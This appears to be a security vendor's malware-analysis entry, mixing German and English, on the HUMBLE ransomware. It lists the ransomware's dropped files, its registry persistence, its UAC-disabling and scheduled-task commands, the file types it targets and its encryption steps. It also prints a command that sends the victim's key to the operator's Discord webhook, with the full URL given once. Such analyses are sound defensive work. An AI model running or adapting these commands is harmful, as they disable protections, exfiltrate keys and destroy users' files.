Ransom.Win32.HUMBLE.THBAGBA

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Löscht Dateien, so dass Programme und Anwendungen nicht ordnungsgemäß ausgeführt werden.

Übertragungsdetails

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

Fügt die folgenden Ordner hinzu:

• %User Temp%\{Random 4 Characters}.tmp\
• %User Temp%\{Random 4 Characters}.tmp\{Random 4 Characters}.tmp\

(Hinweis: %User Temp% ist der Ordner 'Temp' des aktuellen Benutzers, normalerweise C:\Dokumente und Einstellungen\{Benutzername}\Lokale Einstellungen\Temp unter Windows 2000(32-bit), XP und Server 2003(32-bit) und C:\Users\{Benutzername}\AppData\Local\Temp unter Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) und 10(64-bit).)

Schleust die folgenden Dateien ein:

• %User Temp%\{Random 4 Characters}.tmp\{Random 4 Characters}.tmp\{Random 4 Characters}.tmp
• %User Temp%\{Random 4 Characters}.tmp\{Random 4 Characters}.tmp\extd.exe -> Trojan.Win32.HUMBLE.A
• %User Temp%\{Random 4 Characters}.tmp\{Random 4 Characters}.tmp\{Random 4 Characters}.bat -> Failed to run but the purpose is to kill the Task manager
• %User Temp%\{Random 4 Characters}.tmp\DiscordSendWebhook.exe
• %System Root%\finalwords.tmp -> Will run to drop finalwords.exe -> Deleted afterwards
• %System Root%\finalwords.exe -> Boot.Win32.KILLMBR.AD
• %System Root%\Users\home.txt -> Contains OS version and bios version -> Deleted afterwards
• %System Root%\Users\pathhost -> contains logs of files in %System Root%\Users\

Fügt die folgenden Prozesse hinzu:

• REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Payload" /d "powershell.exe start -verb runas "{Malware File Path and Name}" am_admin -WindowStyle hidden" /f
• REG ADD "HKEY_CLASSES_ROOT\exefile\shell\open\command" /ve /t REG_SZ /d "{Malware File Path and Name} %1 %*" /f
• REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoViewOnDrive" /t REG_DWORD /d 12 /f
• REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoDrives" /t REG_DWORD /d 12 /f
• "%System%\mshta.exe" "C:\message.hta"
• certutil -decode finalwords.tmp finalwords.exe
• certutil -f -encode %User Profile%
• schtasks /create /SC ONEVENT /RU "SYSTEM" /EC System /TN IntantKill /TR "powershell.exe start -verb runas C:\finalwords.exe" /RL HIGHEST /MO *[System\EventID=6005] /F
• REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t REG_DWORD /d "0" /f
• REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t REG_DWORD /d "0" /f
• REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "1" /f
• REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layout" /v "Scancode Map" /t REG_BINARY /d {Hex Values}
• wmic os get /value
• findstr /v "^$"
• wmic bios get /value
• %System%\cmd.exe /S /D /c"dir /s /b"
• findstr /I /R "db exe bat doc docx xls ppx txt css html jpg eps ppt png pdf rar avi zip raw jpeg mp3 wav wma tar epub azw ibook img ani bfc blg cat cer cfg ini part prt 1 2 3 cur cpl crl crt dat db der dll dsn ds dun fnd fng fon font hlp grp isp ins inf key lnk ink msc msi msp msstyles nfo ocx otf p7c pif pm pnf psw qds rdp reg scr sct shs sys theme tmp ttc ttf wav wmdb wme wsc wsf wsh aif aifc aiff adf amf mid mi di miz mp1 mp2 mp3 mtm ogg ogm ra rmi snd stm stz vox wax wm wma wmv ace arj bz bz2 cab gz ha lha lzh r0 tbz tbz2 tgz uu uue zoo xxe bmp bw cdt cpt cgm dcx dib emf gbr gif gih ico iff ilbm jfif jif jpe lbm mac pict pct pic pcx pix pntg psd psp qtif qti rgb rgba tga tif tiff wmf dic diz dochtml hta exc log idx pdf rtf s cp wri wtx pps ppa pothtml ppthtml dot dothtml csv dqy xl asx wvx wm ctt ymg yps asp htm htt js jse jsp mht mhtml php shtm url xml xsl eml mbx msg bin class c h cpp java jar m3u vbs spl swf c++ csharp c# ppsx ps1 shb docm odt svg webp heic"
• %User Temp%\23BD.tmp\23BE.tmp\extd.exe "/aesencode" "%User Profile" "%User Profile%.a" {Key}
• %User Temp%\23BD.tmp\23BE.tmp\extd.exe "/rc4" "%User Profile" "%User Profile%.nkext" {Key}
• %User Temp%\{Random 4 Characters}.tmp\DiscordSendWebhook.exe -m ":satellite: New RansomCrypt from Humble User:{User name}Key:||(Generated Key}||. If the infected have discord the Token will be published below." -w https://discord.com/api/webhooks/803443573722710047/DHTqigSoy72GqbbicAGvijeiMetfkvr8QL0UVyVIbp-4tehVd6_cnFln19Z4Ro5R76Ci
• attrib +r {Malware File Path and Name}
• attrib +r +s +h /S /D %User Temp%
• attrib +r + s +h pathhost
• taskkill /im explorer.exe /f

Autostart-Technik

Fügt folgende Registrierungseinträge hinzu, um bei jedem Systemstart automatisch ausgeführt zu werden.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Run
Payload = powershell.exe start -verb runas "{Malware File Path and Name}" am_admin -WindowStyle hidden

Andere Systemänderungen

Löscht die folgenden Dateien:

• Files containing the following strings:
  • db
  • exe
  • bat
  • doc
  • docx
  • xls
  • ppx
  • txt
  • css
  • html
  • jpg
  • eps
  • ppt
  • png
  • pdf
  • rar
  • avi
  • zip
  • raw
  • jpeg
  • mp3
  • wav
  • wma
  • tar
  • epub
  • azw
  • ibook
  • img
  • ani
  • bfc
  • blg
  • cat
  • cer
  • cfg
  • ini
  • part
  • prt
  • 1
  • 2
  • 3
  • cur
  • cpl
  • crl
  • crt
  • dat
  • db
  • der
  • dll
  • dsn
  • ds
  • dun
  • fnd
  • fng
  • fon
  • font
  • hlp
  • grp
  • isp
  • ins
  • inf
  • key
  • lnk
  • ink
  • msc
  • msi
  • msp
  • msstyles
  • nfo
  • ocx
  • otf
  • p7c
  • pif
  • pm
  • pnf
  • psw
  • qds
  • rdp
  • reg
  • scr
  • sct
  • shs
  • sys
  • theme
  • tmp
  • ttc
  • ttf
  • wav
  • wmdb
  • wme
  • wsc
  • wsf
  • wsh
  • aif
  • aifc
  • aiff
  • adf
  • amf
  • mid
  • mi
  • di
  • miz
  • mp1
  • mp2
  • mp3
  • mtm
  • ogg
  • ogm
  • ra
  • rmi
  • snd
  • stm
  • stz
  • vox
  • wax
  • wm
  • wma
  • wmv
  • ace
  • arj
  • bz
  • bz2
  • cab
  • gz
  • ha
  • lha
  • lzh
  • r0
  • tbz
  • tbz2
  • tgz
  • uu
  • uue
  • zoo
  • xxe
  • bmp
  • bw
  • cdt
  • cpt
  • cgm
  • dcx
  • dib
  • emf
  • gbr
  • gif
  • gih
  • ico
  • iff
  • ilbm
  • jfif
  • jif
  • jpe
  • lbm
  • mac
  • pict
  • pct
  • pic
  • pcx
  • pix
  • pntg
  • psd
  • psp
  • qtif
  • qti
  • rgb
  • rgba
  • tga
  • tif
  • tiff
  • wmf
  • dic
  • diz
  • dochtml
  • hta
  • exc
  • log
  • idx
  • pdf
  • rtf
  • s
  • cp
  • wri
  • wtx
  • pps
  • ppa
  • pothtml
  • ppthtml
  • dot
  • dothtml
  • csv
  • dqy
  • xl
  • asx
  • wvx
  • wm
  • ctt
  • ymg
  • yps
  • asp
  • htm
  • htt
  • js
  • jse
  • jsp
  • mht
  • mhtml
  • php
  • shtm
  • url
  • xml
  • xsl
  • eml
  • mbx
  • msg
  • bin
  • class
  • c
  • h
  • cpp
  • java
  • jar
  • m3u
  • vbs
  • spl
  • swf
  • c++
  • csharp
  • c#
  • ppsx
  • ps1
  • shb
  • docm
  • odt
  • svg
  • webp
  • heic

Fügt die folgenden Registrierungseinträge hinzu:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
NoViewOnDrive = 12

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
NoDrives = 12

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
Control\Keyboard Layout
Scancode Map = {Hex Values}

Andere Details

Es macht Folgendes:

• The Ransomware sends a report to the Malware Operator’s Discord WebHook Panel via custom-made, Auto-It compiled Discord WebHook binary.
  • https://discord.com/api/webhooks/{BLOCKED}573722710047/{BLOCKED}GqbbicAGvijeiMetfkvr8QL0UVyVIbp-4tehVd6_cnFln19Z4Ro5R76Ci
• It only delete files present in %User Profile%
• The Ransomware also displays a lockscreen-style of ransom note
  
• The Ransomware will execute when attempting to run any other executable.
• extd.exe will be used as encryptor of the files affected